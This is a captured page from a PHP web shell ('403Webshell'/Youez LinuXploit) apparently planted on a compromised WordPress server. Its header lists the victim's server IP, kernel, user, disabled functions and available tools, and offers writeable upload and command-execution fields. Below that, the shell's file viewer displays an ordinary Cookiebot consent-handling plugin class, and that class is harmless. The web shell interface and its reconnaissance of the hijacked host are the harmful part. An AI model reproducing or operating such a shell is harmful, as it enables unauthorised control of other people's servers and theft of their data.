403Webshell
Server IP : 185.11.201.71  /  Your IP : 192.168.7.18
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux tech-virtual-machine 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : tech ( 1000)
PHP Version : 7.4.28
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/enaireaceleradora/wp-content/plugins/cookiebot/src/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/enaireaceleradora/wp-content/plugins/cookiebot/src/lib/Cookie_Consent.php
<?php

namespace cybot\cookiebot\lib;

class Cookie_Consent implements Cookie_Consent_Interface {


	/**
	 * Array of cookiebot consent states
	 *
	 * It can have 4 items:
	 * - necessary
	 * - preferences
	 * - statistics
	 * - marketing
	 *
	 * @var array  consent state
	 *
	 * @since 1.2.0
	 */
	private $states = array();

	/**
	 * @var array|null
	 */
	private $cookie;

	/**
	 * Scan cookiebot cookie
	 *
	 * @param   $default_cookie
	 *
	 * @since 1.2.0
	 * @version 2.4.1
	 */
	public function __construct( $default_cookie = null ) {
		$this->cookie = ( isset( $_COOKIE['CookieConsent'] ) ) ? $_COOKIE['CookieConsent'] : $default_cookie;

		$this->scan_cookie();
	}

	/**
	 * Scans cookiebot consent cookie and fills in $states with accepted consents.
	 *
	 * @since 1.2.0
	 * @version 2.4.1
	 */
	public function scan_cookie() {
		// default - set strictly necessary cookies
		$this->add_state( 'necessary' );

		if ( ! empty( $this->cookie ) ) {
			switch ( $this->cookie ) {
				case '0':
					// The user has not accepted cookies - set strictly necessary cookies only
					break;

				case '-1':
					// The user is not within a region that requires consent - all cookies are accepted
					$this->add_state( 'preferences' );
					$this->add_state( 'statistics' );
					$this->add_state( 'marketing' );
					break;

				default:
					// Read current user consent in encoded JavaScript format
					$valid_php_json = preg_replace(
						'/\s*:\s*(\w+?)([}\[,])/',
						':"$1"$2',
						preg_replace(
							'/([{\[,])\s*(\w+?):/',
							'$1"$2":',
							str_replace( "'", '"', stripslashes( $this->cookie ) )
						)
					);
					$cookie_consent = json_decode( $valid_php_json );

					if (
						isset( $cookie_consent->preferences ) &&
						filter_var( $cookie_consent->preferences, FILTER_VALIDATE_BOOLEAN )
					) {
						// Current user accepts preference cookies
						$this->add_state( 'preferences' );
					}

					if (
						isset( $cookie_consent->statistics ) &&
						filter_var( $cookie_consent->statistics, FILTER_VALIDATE_BOOLEAN )
					) {
						// Current user accepts statistics cookies
						$this->add_state( 'statistics' );
					}

					if (
						isset( $cookie_consent->marketing ) &&
						filter_var( $cookie_consent->marketing, FILTER_VALIDATE_BOOLEAN )
					) {
						// Current user accepts marketing cookies
						$this->add_state( 'marketing' );
					}
			}
		}
	}

	/**
	 * Adds state to $states variable
	 *
	 * @param $state    string  new state
	 *
	 * @since 1.2.0
	 */
	public function add_state( $state ) {
		if ( ! $this->is_cookie_state_accepted( $state ) ) {
			$this->states[] = $state;
		}
	}

	/**
	 * Returns cookiebot cookie consent state
	 *
	 * @return array    array   List of accepted cookiebot consents
	 *
	 * @since 1.2.0
	 */
	public function get_cookie_states() {
		if ( empty( $this->states ) ) {
			$this->scan_cookie();
		}

		return $this->states;
	}

	/**
	 * Checks if the cookie states are accepted.
	 *
	 * @param $states    array  Cookie states to check if it is accepted.
	 *
	 * @return bool
	 *
	 * @since 1.3.0
	 */
	public function are_cookie_states_accepted( array $states ) {
		return array_reduce(
			$states,
			function ( $are_cookie_states_accepted, $state ) {
				if ( ! $are_cookie_states_accepted ) {
					return false;
				}

				return $this->is_cookie_state_accepted( $state );
			},
			true
		);
	}

	/**
	 * Checks if the cookie state is accepted
	 *
	 * @param $state    string  Cookie state to check if it is accepted
	 *
	 * @return bool
	 */
	public function is_cookie_state_accepted( $state ) {
		return in_array( $state, $this->states, true );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit